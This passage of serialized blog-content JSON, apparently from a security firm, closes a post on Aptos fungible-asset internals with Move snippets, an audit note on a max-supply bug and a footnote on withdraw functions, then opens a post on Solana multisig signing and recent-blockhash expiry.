",{"type":25,"tag":264,"props":79915,"children":79917},{"className":79916},[],[79918],{"type":30,"value":74082},{"type":30,"value":79920}," is not allowed.",{"type":25,"tag":7764,"props":79922,"children":79924},{"className":13586,"code":79923,"language":13585,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[79925],{"type":25,"tag":264,"props":79926,"children":79927},{"__ignoreMap":7},[79928,79956,79983,80019,80052,80085,80121],{"type":25,"tag":271,"props":79929,"children":79930},{"class":13593,"line":13594},[79931,79935,79939,79944,79948,79952],{"type":25,"tag":271,"props":79932,"children":79933},{"style":13598},[79934],{"type":30,"value":10331},{"type":25,"tag":271,"props":79936,"children":79937},{"style":13598},[79938],{"type":30,"value":19335},{"type":25,"tag":271,"props":79940,"children":79941},{"style":13598},[79942],{"type":30,"value":79943}," coin_to_fungible_asset",{"type":25,"tag":271,"props":79945,"children":79946},{"style":13625},[79947],{"type":30,"value":14307},{"type":25,"tag":271,"props":79949,"children":79950},{"style":13609},[79951],{"type":30,"value":19709},{"type":25,"tag":271,"props":79953,"children":79954},{"style":13625},[79955],{"type":30,"value":14324},{"type":25,"tag":271,"props":79957,"children":79958},{"class":13593,"line":11641},[79959,79963,79967,79971,79975,79979],{"type":25,"tag":271,"props":79960,"children":79961},{"style":13598},[79962],{"type":30,"value":74301},{"type":25,"tag":271,"props":79964,"children":79965},{"style":13603},[79966],{"type":30,"value":359},{"type":25,"tag":271,"props":79968,"children":79969},{"style":13609},[79970],{"type":30,"value":18933},{"type":25,"tag":271,"props":79972,"children":79973},{"style":13625},[79974],{"type":30,"value":14307},{"type":25,"tag":271,"props":79976,"children":79977},{"style":13609},[79978],{"type":30,"value":19709},{"type":25,"tag":271,"props":79980,"children":79981},{"style":13625},[79982],{"type":30,"value":14448},{"type":25,"tag":271,"props":79984,"children":79985},{"class":13593,"line":14354},[79986,79990,79994,79998,80002,80007,80011,80015],{"type":25,"tag":271,"props":79987,"children":79988},{"style":13625},[79989],{"type":30,"value":440},{"type":25,"tag":271,"props":79991,"children":79992},{"style":13603},[79993],{"type":30,"value":359},{"type":25,"tag":271,"props":79995,"children":79996},{"style":13609},[79997],{"type":30,"value":74656},{"type":25,"tag":271,"props":79999,"children":80000},{"style":13598},[80001],{"type":30,"value":20688},{"type":25,"tag":271,"props":80003,"children":80004},{"style":13609},[80005],{"type":30,"value":80006}," CoinConversionMap",{"type":25,"tag":271,"props":80008,"children":80009},{"style":13625},[80010],{"type":30,"value":44},{"type":25,"tag":271,"props":80012,"children":80013},{"style":13609},[80014],{"type":30,"value":19837},{"type":25,"tag":271,"props":80016,"children":80017},{"style":13625},[80018],{"type":30,"value":16431},{"type":25,"tag":271,"props":80020,"children":80021},{"class":13593,"line":14391},[80022,80026,80031,80035,80040,80044,80048],{"type":25,"tag":271,"props":80023,"children":80024},{"style":14289},[80025],{"type":30,"value":16140},{"type":25,"tag":271,"props":80027,"children":80028},{"style":13598},[80029],{"type":30,"value":80030}," metadata",{"type":25,"tag":271,"props":80032,"children":80033},{"style":13603},[80034],{"type":30,"value":16155},{"type":25,"tag":271,"props":80036,"children":80037},{"style":13598},[80038],{"type":30,"value":80039}," ensure_paired_metadata",{"type":25,"tag":271,"props":80041,"children":80042},{"style":13625},[80043],{"type":30,"value":14307},{"type":25,"tag":271,"props":80045,"children":80046},{"style":13609},[80047],{"type":30,"value":19709},{"type":25,"tag":271,"props":80049,"children":80050},{"style":13625},[80051],{"type":30,"value":21572},{"type":25,"tag":271,"props":80053,"children":80054},{"class":13593,"line":14400},[80055,80059,80064,80068,80073,80077,80081],{"type":25,"tag":271,"props":80056,"children":80057},{"style":14289},[80058],{"type":30,"value":16140},{"type":25,"tag":271,"props":80060,"children":80061},{"style":13598},[80062],{"type":30,"value":80063}," amount",{"type":25,"tag":271,"props":80065,"children":80066},{"style":13603},[80067],{"type":30,"value":16155},{"type":25,"tag":271,"props":80069,"children":80070},{"style":13620},[80071],{"type":30,"value":80072}," burn_internal",{"type":25,"tag":271,"props":80074,"children":80075},{"style":13625},[80076],{"type":30,"value":394},{"type":25,"tag":271,"props":80078,"children":80079},{"style":13598},[80080],{"type":30,"value":74049},{"type":25,"tag":271,"props":80082,"children":80083},{"style":13625},[80084],{"type":30,"value":13665},{"type":25,"tag":271,"props":80086,"children":80087},{"class":13593,"line":16406},[80088,80092,80096,80101,80105,80109,80113,80117],{"type":25,"tag":271,"props":80089,"children":80090},{"style":13625},[80091],{"type":30,"value":79075},{"type":25,"tag":271,"props":80093,"children":80094},{"style":13603},[80095],{"type":30,"value":13617},{"type":25,"tag":271,"props":80097,"children":80098},{"style":13620},[80099],{"type":30,"value":80100},"mint_internal",{"type":25,"tag":271,"props":80102,"children":80103},{"style":13625},[80104],{"type":30,"value":394},{"type":25,"tag":271,"props":80106,"children":80107},{"style":13598},[80108],{"type":30,"value":75426},{"type":25,"tag":271,"props":80110,"children":80111},{"style":13625},[80112],{"type":30,"value":44},{"type":25,"tag":271,"props":80114,"children":80115},{"style":13598},[80116],{"type":30,"value":33427},{"type":25,"tag":271,"props":80118,"children":80119},{"style":13625},[80120],{"type":30,"value":16299},{"type":25,"tag":271,"props":80122,"children":80123},{"class":13593,"line":16434},[80124],{"type":25,"tag":271,"props":80125,"children":80126},{"style":13625},[80127],{"type":30,"value":17058},{"type":25,"tag":26,"props":80129,"children":80130},{},[80131,80133,80140],{"type":30,"value":80132},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":25,"tag":83,"props":80134,"children":80137},{"href":80135,"rel":80136},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[9066],[80138],{"type":30,"value":80139},"noticed an overlooked detail",{"type":30,"value":80141}," in the linking process.",{"type":25,"tag":7764,"props":80143,"children":80145},{"className":13586,"code":80144,"language":13585,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[80146],{"type":25,"tag":264,"props":80147,"children":80148},{"__ignoreMap":7},[80149,80164,80184,80201,80257,80278,80298,80318,80348,80375,80382],{"type":25,"tag":271,"props":80150,"children":80151},{"class":13593,"line":13594},[80152,80156,80160],{"type":25,"tag":271,"props":80153,"children":80154},{"style":13625},[80155],{"type":30,"value":5604},{"type":25,"tag":271,"props":80157,"children":80158},{"style":13603},[80159],{"type":30,"value":22714},{"type":25,"tag":271,"props":80161,"children":80162},{"style":13625},[80163],{"type":30,"value":24897},{"type":25,"tag":271,"props":80165,"children":80166},{"class":13593,"line":11641},[80167,80171,80175,80180],{"type":25,"tag":271,"props":80168,"children":80169},{"style":13625},[80170],{"type":30,"value":75723},{"type":25,"tag":271,"props":80172,"children":80173},{"style":13603},[80174],{"type":30,"value":13617},{"type":25,"tag":271,"props":80176,"children":80177},{"style":13620},[80178],{"type":30,"value":80179},"create_primary_store_enabled_fungible_asset",{"type":25,"tag":271,"props":80181,"children":80182},{"style":13625},[80183],{"type":30,"value":16609},{"type":25,"tag":271,"props":80185,"children":80186},{"class":13593,"line":14354},[80187,80192,80197],{"type":25,"tag":271,"props":80188,"children":80189},{"style":13603},[80190],{"type":30,"value":80191},"    &",{"type":25,"tag":271,"props":80193,"children":80194},{"style":13598},[80195],{"type":30,"value":80196},"metadata_object_cref",{"type":25,"tag":271,"props":80198,"children":80199},{"style":13625},[80200],{"type":30,"value":14351},{"type":25,"tag":271,"props":80202,"children":80203},{"class":13593,"line":14391},[80204,80209,80213,80218,80222,80227,80231,80235,80240,80244,80248,80252],{"type":25,"tag":271,"props":80205,"children":80206},{"style":13625},[80207],{"type":30,"value":80208},"    option",{"type":25,"tag":271,"props":80210,"children":80211},{"style":13603},[80212],{"type":30,"value":13617},{"type":25,"tag":271,"props":80214,"children":80215},{"style":13620},[80216],{"type":30,"value":80217},"map",{"type":25,"tag":271,"props":80219,"children":80220},{"style":13625},[80221],{"type":30,"value":394},{"type":25,"tag":271,"props":80223,"children":80224},{"style":13598},[80225],{"type":30,"value":80226},"coin_supply",{"type":25,"tag":271,"props":80228,"children":80229},{"style":13625},[80230],{"type":30,"value":14307},{"type":25,"tag":271,"props":80232,"children":80233},{"style":13609},[80234],{"type":30,"value":19709},{"type":25,"tag":271,"props":80236,"children":80237},{"style":13625},[80238],{"type":30,"value":80239},">(), ",{"type":25,"tag":271,"props":80241,"children":80242},{"style":13603},[80243],{"type":30,"value":23540},{"type":25,"tag":271,"props":80245,"children":80246},{"style":13598},[80247],{"type":30,"value":6434},{"type":25,"tag":271,"props":80249,"children":80250},{"style":13603},[80251],{"type":30,"value":23540},{"type":25,"tag":271,"props":80253,"children":80254},{"style":13625},[80255],{"type":30,"value":80256}," MAX_U128),\n",{"type":25,"tag":271,"props":80258,"children":80259},{"class":13593,"line":14400},[80260,80265,80269,80273],{"type":25,"tag":271,"props":80261,"children":80262},{"style":13598},[80263],{"type":30,"value":80264},"    name",{"type":25,"tag":271,"props":80266,"children":80267},{"style":13625},[80268],{"type":30,"value":14307},{"type":25,"tag":271,"props":80270,"children":80271},{"style":13609},[80272],{"type":30,"value":19709},{"type":25,"tag":271,"props":80274,"children":80275},{"style":13625},[80276],{"type":30,"value":80277},">(),\n",{"type":25,"tag":271,"props":80279,"children":80280},{"class":13593,"line":16406},[80281,80286,80290,80294],{"type":25,"tag":271,"props":80282,"children":80283},{"style":13598},[80284],{"type":30,"value":80285},"    symbol",{"type":25,"tag":271,"props":80287,"children":80288},{"style":13625},[80289],{"type":30,"value":14307},{"type":25,"tag":271,"props":80291,"children":80292},{"style":13609},[80293],{"type":30,"value":19709},{"type":25,"tag":271,"props":80295,"children":80296},{"style":13625},[80297],{"type":30,"value":80277},{"type":25,"tag":271,"props":80299,"children":80300},{"class":13593,"line":16434},[80301,80306,80310,80314],{"type":25,"tag":271,"props":80302,"children":80303},{"style":13598},[80304],{"type":30,"value":80305},"    decimals",{"type":25,"tag":271,"props":80307,"children":80308},{"style":13625},[80309],{"type":30,"value":14307},{"type":25,"tag":271,"props":80311,"children":80312},{"style":13609},[80313],{"type":30,"value":19709},{"type":25,"tag":271,"props":80315,"children":80316},{"style":13625},[80317],{"type":30,"value":80277},{"type":25,"tag":271,"props":80319,"children":80320},{"class":13593,"line":16447},[80321,80326,80330,80335,80339,80344],{"type":25,"tag":271,"props":80322,"children":80323},{"style":13625},[80324],{"type":30,"value":80325},"    string",{"type":25,"tag":271,"props":80327,"children":80328},{"style":13603},[80329],{"type":30,"value":13617},{"type":25,"tag":271,"props":80331,"children":80332},{"style":13620},[80333],{"type":30,"value":80334},"utf8",{"type":25,"tag":271,"props":80336,"children":80337},{"style":13625},[80338],{"type":30,"value":394},{"type":25,"tag":271,"props":80340,"children":80341},{"style":17388},[80342],{"type":30,"value":80343},"b\"\"",{"type":25,"tag":271,"props":80345,"children":80346},{"style":13625},[80347],{"type":30,"value":19860},{"type":25,"tag":271,"props":80349,"children":80350},{"class":13593,"line":16465},[80351,80355,80359,80363,80367,80371],{"type":25,"tag":271,"props":80352,"children":80353},{"style":13625},[80354],{"type":30,"value":80325},{"type":25,"tag":271,"props":80356,"children":80357},{"style":13603},[80358],{"type":30,"value":13617},{"type":25,"tag":271,"props":80360,"children":80361},{"style":13620},[80362],{"type":30,"value":80334},{"type":25,"tag":271,"props":80364,"children":80365},{"style":13625},[80366],{"type":30,"value":394},{"type":25,"tag":271,"props":80368,"children":80369},{"style":17388},[80370],{"type":30,"value":80343},{"type":25,"tag":271,"props":80372,"children":80373},{"style":13625},[80374],{"type":30,"value":19860},{"type":25,"tag":271,"props":80376,"children":80377},{"class":13593,"line":16486},[80378],{"type":25,"tag":271,"props":80379,"children":80380},{"style":13625},[80381],{"type":30,"value":13665},{"type":25,"tag":271,"props":80383,"children":80384},{"class":13593,"line":16495},[80385,80389,80393],{"type":25,"tag":271,"props":80386,"children":80387},{"style":13625},[80388],{"type":30,"value":5604},{"type":25,"tag":271,"props":80390,"children":80391},{"style":13603},[80392],{"type":30,"value":22714},{"type":25,"tag":271,"props":80394,"children":80395},{"style":13625},[80396],{"type":30,"value":24897},{"type":25,"tag":26,"props":80398,"children":80399},{},[80400,80402,80407],{"type":30,"value":80401},"When the linked fungible asset was created, the current ",{"type":25,"tag":264,"props":80403,"children":80405},{"className":80404},[],[80406],{"type":30,"value":74082},{"type":30,"value":80408}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":25,"tag":26,"props":80410,"children":80411},{},[80412,80414,80419,80421,80427,80429,80434],{"type":30,"value":80413},"Users can manually migrate their ",{"type":25,"tag":264,"props":80415,"children":80417},{"className":80416},[],[80418],{"type":30,"value":74244},{"type":30,"value":80420}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":25,"tag":264,"props":80422,"children":80424},{"className":80423},[],[80425],{"type":30,"value":80426},"\u003CCoinStore\u003CCoinType>>",{"type":30,"value":80428}," from the caller. All coins in the ",{"type":25,"tag":264,"props":80430,"children":80432},{"className":80431},[],[80433],{"type":30,"value":74244},{"type":30,"value":80435}," are exchanged and transferred to the new store during the migration.",{"type":25,"tag":7764,"props":80437,"children":80439},{"className":13586,"code":80438,"language":13585,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[80440],{"type":25,"tag":264,"props":80441,"children":80442},{"__ignoreMap":7},[80443,80451,80483,80503,80539,80580],{"type":25,"tag":271,"props":80444,"children":80445},{"class":13593,"line":13594},[80446],{"type":25,"tag":271,"props":80447,"children":80448},{"style":14385},[80449],{"type":30,"value":80450},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":25,"tag":271,"props":80452,"children":80453},{"class":13593,"line":11641},[80454,80458,80462,80466,80471,80475,80479],{"type":25,"tag":271,"props":80455,"children":80456},{"style":13598},[80457],{"type":30,"value":10331},{"type":25,"tag":271,"props":80459,"children":80460},{"style":13598},[80461],{"type":30,"value":75756},{"type":25,"tag":271,"props":80463,"children":80464},{"style":13598},[80465],{"type":30,"value":19335},{"type":25,"tag":271,"props":80467,"children":80468},{"style":13598},[80469],{"type":30,"value":80470}," migrate_to_fungible_store",{"type":25,"tag":271,"props":80472,"children":80473},{"style":13625},[80474],{"type":30,"value":14307},{"type":25,"tag":271,"props":80476,"children":80477},{"style":13609},[80478],{"type":30,"value":19709},{"type":25,"tag":271,"props":80480,"children":80481},{"style":13625},[80482],{"type":30,"value":14324},{"type":25,"tag":271,"props":80484,"children":80485},{"class":13593,"line":14354},[80486,80490,80494,80498],{"type":25,"tag":271,"props":80487,"children":80488},{"style":13598},[80489],{"type":30,"value":38281},{"type":25,"tag":271,"props":80491,"children":80492},{"style":13603},[80493],{"type":30,"value":359},{"type":25,"tag":271,"props":80495,"children":80496},{"style":13603},[80497],{"type":30,"value":14341},{"type":25,"tag":271,"props":80499,"children":80500},{"style":13598},[80501],{"type":30,"value":80502},"signer\n",{"type":25,"tag":271,"props":80504,"children":80505},{"class":13593,"line":14391},[80506,80510,80514,80518,80522,80527,80531,80535],{"type":25,"tag":271,"props":80507,"children":80508},{"style":13625},[80509],{"type":30,"value":14406},{"type":25,"tag":271,"props":80511,"children":80512},{"style":13598},[80513],{"type":30,"value":19472},{"type":25,"tag":271,"props":80515,"children":80516},{"style":13609},[80517],{"type":30,"value":74265},{"type":25,"tag":271,"props":80519,"children":80520},{"style":13625},[80521],{"type":30,"value":44},{"type":25,"tag":271,"props":80523,"children":80524},{"style":13609},[80525],{"type":30,"value":80526},"CoinConversionMap",{"type":25,"tag":271,"props":80528,"children":80529},{"style":13625},[80530],{"type":30,"value":44},{"type":25,"tag":271,"props":80532,"children":80533},{"style":13609},[80534],{"type":30,"value":19837},{"type":25,"tag":271,"props":80536,"children":80537},{"style":13625},[80538],{"type":30,"value":16431},{"type":25,"tag":271,"props":80540,"children":80541},{"class":13593,"line":14400},[80542,80547,80551,80555,80560,80564,80568,80572,80576],{"type":25,"tag":271,"props":80543,"children":80544},{"style":13598},[80545],{"type":30,"value":80546},"    maybe_convert_to_fungible_store",{"type":25,"tag":271,"props":80548,"children":80549},{"style":13625},[80550],{"type":30,"value":14307},{"type":25,"tag":271,"props":80552,"children":80553},{"style":13609},[80554],{"type":30,"value":19709},{"type":25,"tag":271,"props":80556,"children":80557},{"style":13625},[80558],{"type":30,"value":80559},">(signer",{"type":25,"tag":271,"props":80561,"children":80562},{"style":13603},[80563],{"type":30,"value":13617},{"type":25,"tag":271,"props":80565,"children":80566},{"style":13620},[80567],{"type":30,"value":20332},{"type":25,"tag":271,"props":80569,"children":80570},{"style":13625},[80571],{"type":30,"value":394},{"type":25,"tag":271,"props":80573,"children":80574},{"style":13598},[80575],{"type":30,"value":26078},{"type":25,"tag":271,"props":80577,"children":80578},{"style":13625},[80579],{"type":30,"value":20346},{"type":25,"tag":271,"props":80581,"children":80582},{"class":13593,"line":16406},[80583],{"type":25,"tag":271,"props":80584,"children":80585},{"style":13625},[80586],{"type":30,"value":17058},{"type":25,"tag":26,"props":80588,"children":80589},{},[80590,80592,80597,80599,80604],{"type":30,"value":80591},"A curious reader might wonder about the fate of the ",{"type":25,"tag":264,"props":80593,"children":80595},{"className":80594},[],[80596],{"type":30,"value":74244},{"type":30,"value":80598}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":25,"tag":264,"props":80600,"children":80602},{"className":80601},[],[80603],{"type":30,"value":74244},{"type":30,"value":80605}," to ensure consistency.",{"type":25,"tag":79300,"props":80607,"children":80608},{},[80609,80628],{"type":25,"tag":26,"props":80610,"children":80611},{},[80612,80614,80619,80621,80626],{"type":30,"value":80613},"Could an attacker convert their ",{"type":25,"tag":264,"props":80615,"children":80617},{"className":80616},[],[80618],{"type":30,"value":74244},{"type":30,"value":80620}," to a primary fungible store and then register another ",{"type":25,"tag":264,"props":80622,"children":80624},{"className":80623},[],[80625],{"type":30,"value":74244},{"type":30,"value":80627}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":25,"tag":79331,"props":80629,"children":80630},{"v-slot:answer-0":7},[80631],{"type":25,"tag":26,"props":80632,"children":80633},{},[80634],{"type":30,"value":80635},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":25,"tag":96,"props":80637,"children":80638},{"id":42044},[80639],{"type":30,"value":32068},{"type":25,"tag":26,"props":80641,"children":80642},{},[80643,80645,80650],{"type":30,"value":80644},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":25,"tag":264,"props":80646,"children":80648},{"className":80647},[],[80649],{"type":30,"value":74082},{"type":30,"value":1860},{"type":25,"tag":26,"props":80652,"children":80653},{},[80654],{"type":30,"value":80655},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":25,"tag":26,"props":80657,"children":80658},{},[80659,80661],{"type":30,"value":80660},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":25,"tag":28595,"props":80662,"children":80663},{},[80664],{"type":25,"tag":83,"props":80665,"children":80667},{"href":42736,"ariaDescribedBy":80666,"dataFootnoteRef":7,"id":42738},[28602],[80668],{"type":30,"value":968},{"type":25,"tag":31544,"props":80670,"children":80672},{"className":80671,"dataFootnotes":7},[31547],[80673,80678],{"type":25,"tag":96,"props":80674,"children":80676},{"className":80675,"id":28602},[31552],[80677],{"type":30,"value":31555},{"type":25,"tag":661,"props":80679,"children":80680},{},[80681],{"type":25,"tag":112,"props":80682,"children":80683},{"id":43478},[80684,80686,80728],{"type":30,"value":80685},"There are at least four functions that can withdraw a fungible asset:",{"type":25,"tag":108,"props":80687,"children":80688},{},[80689,80699,80708,80718],{"type":25,"tag":112,"props":80690,"children":80691},{},[80692],{"type":25,"tag":83,"props":80693,"children":80697},{"href":80694,"rel":80695,":style":80696},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[9066],"color: #007bff;",[80698],{"type":30,"value":77381},{"type":25,"tag":112,"props":80700,"children":80701},{},[80702],{"type":25,"tag":83,"props":80703,"children":80706},{"href":80704,"rel":80705,":style":80696},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[9066],[80707],{"type":30,"value":79321},{"type":25,"tag":112,"props":80709,"children":80710},{},[80711],{"type":25,"tag":83,"props":80712,"children":80715},{"href":80713,"rel":80714,":style":80696},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[9066],[80716],{"type":30,"value":80717},"primary_fungible_store::withdraw",{"type":25,"tag":112,"props":80719,"children":80720},{},[80721],{"type":25,"tag":83,"props":80722,"children":80725},{"href":80723,"rel":80724,":style":80696},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[9066],[80726],{"type":30,"value":80727},"coin::withdraw",{"type":25,"tag":83,"props":80729,"children":80731},{"href":43506,"ariaLabel":31657,"className":80730,"dataFootnoteBackref":7},[31659],[80732],{"type":30,"value":31662},{"type":25,"tag":15963,"props":80734,"children":80735},{},[80736],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":80738},[80739,80740,80741,80744,80749,80750,80751,80752],{"id":74068,"depth":11641,"text":74071},{"id":74613,"depth":11641,"text":74616},{"id":75171,"depth":11641,"text":75174,"children":80742},[80743],{"id":75682,"depth":14354,"text":75685},{"id":75939,"depth":11641,"text":75942,"children":80745},[80746,80747,80748],{"id":75982,"depth":14354,"text":75985},{"id":76687,"depth":14354,"text":76690},{"id":78345,"depth":14354,"text":78348},{"id":78876,"depth":11641,"text":78879},{"id":79857,"depth":11641,"text":79860},{"id":42044,"depth":11641,"text":32068},{"id":28602,"depth":11641,"text":31555},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":80757,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":80758,"description":80759,"date":80760,"author":18851,"image":80761,"isFeatured":18,"onBlogPage":18,"tags":80763,"body":80764,"_type":16004,"_id":82591,"_source":16006,"_file":82592,"_stem":82593,"_extension":16009},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":80762,"width":18516,"height":18517},"/posts/multisig-security/title.png",[16021],{"type":22,"children":80765,"toc":82582},[80766,80779,80785,80790,80796,80809,80817,80830,80890,80911,81038,81043,81056,81068,81074,81088,81101,81115,81597,81602,81610,81624,81638,81777,81789,81795,81800,81818,81823,81828,81849,82133,82148,82336,82349,82478,82483,82488,82493,82521,82527,82532,82546,82578],{"type":25,"tag":26,"props":80767,"children":80768},{},[80769,80770,80777],{"type":30,"value":10272},{"type":25,"tag":83,"props":80771,"children":80774},{"href":80772,"rel":80773},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[9066],[80775],{"type":30,"value":80776},"Bybit hack",{"type":30,"value":80778}," raises an interesting question: what can teams do if their signers are compromised?",{"type":25,"tag":96,"props":80780,"children":80782},{"id":80781},"solana-signatures",[80783],{"type":30,"value":80784},"Solana Signatures",{"type":25,"tag":26,"props":80786,"children":80787},{},[80788],{"type":30,"value":80789},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":25,"tag":247,"props":80791,"children":80793},{"id":80792},"recent-blockhash",[80794],{"type":30,"value":80795},"Recent Blockhash",{"type":25,"tag":26,"props":80797,"children":80798},{},[80799,80801,80808],{"type":30,"value":80800},"The most straightforward is with a \"recent blockhash\". From ",{"type":25,"tag":83,"props":80802,"children":80805},{"href":80803,"rel":80804},"https://solana.com/developers/guides/advanced/confirmation",[9066],[80806],{"type":30,"value":80807},"the docs",{"type":30,"value":359},{"type":25,"tag":16074,"props":80810,"children":80811},{},[80812],{"type":25,"tag":26,"props":80813,"children":80814},{},[80815],{"type":30,"value":80816},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":25,"tag":26,"props":80818,"children":80819},{},[80820,80822,80829],{"type":30,"value":80821},"The actual constant ",{"type":25,"tag":83,"props":80823,"children":80826},{"href":80824,"rel":80825},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[9066],[80827],{"type":30,"value":80828},"is defined here",{"type":30,"value":1860},{"type":25,"tag":7764,"props":80831,"children":80833},{"className":13586,"code":80832,"language":13585,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[80834],{"type":25,"tag":264,"props":80835,"children":80836},{"__ignoreMap":7},[80837,80845],{"type":25,"tag":271,"props":80838,"children":80839},{"class":13593,"line":13594},[80840],{"type":25,"tag":271,"props":80841,"children":80842},{"style":14385},[80843],{"type":30,"value":80844},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":25,"tag":271,"props":80846,"children":80847},{"class":13593,"line":11641},[80848,80852,80856,80861,80865,80869,80873,80878,80882,80886],{"type":25,"tag":271,"props":80849,"children":80850},{"style":14289},[80851],{"type":30,"value":14292},{"type":25,"tag":271,"props":80853,"children":80854},{"style":14289},[80855],{"type":30,"value":52221},{"type":25,"tag":271,"props":80857,"children":80858},{"style":13625},[80859],{"type":30,"value":80860}," MAX_PROCESSING_AGE",{"type":25,"tag":271,"props":80862,"children":80863},{"style":13603},[80864],{"type":30,"value":359},{"type":25,"tag":271,"props":80866,"children":80867},{"style":13609},[80868],{"type":30,"value":26854},{"type":25,"tag":271,"props":80870,"children":80871},{"style":13603},[80872],{"type":30,"value":16155},{"type":25,"tag":271,"props":80874,"children":80875},{"style":13625},[80876],{"type":30,"value":80877}," MAX_RECENT_BLOCKHASHES ",{"type":25,"tag":271,"props":80879,"children":80880},{"style":13603},[80881],{"type":30,"value":7621},{"type":25,"tag":271,"props":80883,"children":80884},{"style":16187},[80885],{"type":30,"value":21056},{"type":25,"tag":271,"props":80887,"children":80888},{"style":13625},[80889],{"type":30,"value":16165},{"type":25,"tag":26,"props":80891,"children":80892},{},[80893,80895,80902,80904,80910],{"type":30,"value":80894},"For those curious, the logic ",{"type":25,"tag":83,"props":80896,"children":80899},{"href":80897,"rel":80898},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[9066],[80900],{"type":30,"value":80901},"starts here",{"type":30,"value":80903}," and is quite straightforward to follow, ending in a ",{"type":25,"tag":264,"props":80905,"children":80907},{"className":80906},[],[80908],{"type":30,"value":80909},"is_hash_index_valid",{"type":30,"value":5669},{"type":25,"tag":7764,"props":80912,"children":80914},{"className":13586,"code":80913,"language":13585,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[80915],{"type":25,"tag":264,"props":80916,"children":80917},{"__ignoreMap":7},[80918,80997,81031],{"type":25,"tag":271,"props":80919,"children":80920},{"class":13593,"line":13594},[80921,80925,80930,80934,80939,80943,80947,80951,80956,80960,80964,80968,80973,80977,80981,80985,80989,80993],{"type":25,"tag":271,"props":80922,"children":80923},{"style":14289},[80924],{"type":30,"value":33387},{"type":25,"tag":271,"props":80926,"children":80927},{"style":13620},[80928],{"type":30,"value":80929}," is_hash_index_valid",{"type":25,"tag":271,"props":80931,"children":80932},{"style":13625},[80933],{"type":30,"value":394},{"type":25,"tag":271,"props":80935,"children":80936},{"style":13598},[80937],{"type":30,"value":80938},"last_hash_index",{"type":25,"tag":271,"props":80940,"children":80941},{"style":13603},[80942],{"type":30,"value":359},{"type":25,"tag":271,"props":80944,"children":80945},{"style":13609},[80946],{"type":30,"value":18991},{"type":25,"tag":271,"props":80948,"children":80949},{"style":13625},[80950],{"type":30,"value":44},{"type":25,"tag":271,"props":80952,"children":80953},{"style":13598},[80954],{"type":30,"value":80955},"max_age",{"type":25,"tag":271,"props":80957,"children":80958},{"style":13603},[80959],{"type":30,"value":359},{"type":25,"tag":271,"props":80961,"children":80962},{"style":13609},[80963],{"type":30,"value":26854},{"type":25,"tag":271,"props":80965,"children":80966},{"style":13625},[80967],{"type":30,"value":44},{"type":25,"tag":271,"props":80969,"children":80970},{"style":13598},[80971],{"type":30,"value":80972},"hash_index",{"t